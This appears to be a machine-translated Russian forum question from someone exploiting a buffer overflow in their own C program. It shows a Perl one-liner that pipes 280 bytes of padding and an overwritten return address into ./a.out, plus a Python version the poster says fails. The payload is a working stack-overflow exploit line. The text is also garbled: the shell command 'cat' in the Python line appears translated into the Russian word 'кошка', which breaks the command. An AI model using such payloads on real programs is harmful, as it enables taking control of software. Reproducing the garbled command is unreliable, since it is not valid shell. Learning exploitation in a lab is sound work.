Я пытаюсь использовать переполнение буфера. Я не думаю, что полезно публиковать мою программу на C. Этот эксплойт работает:
(perl -e 'print "a" x 280 . "\xf6\x06\x40\x00\x00\x00\x00\x00"' ; cat) | ./a.out
Но этот не
(python -c 'print("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; кошка) | ./a.out
Я не вижу ничего другого, кроме языка, которым я пользуюсь. Кто-нибудь может сказать мне, есть ли разница?
Спасибо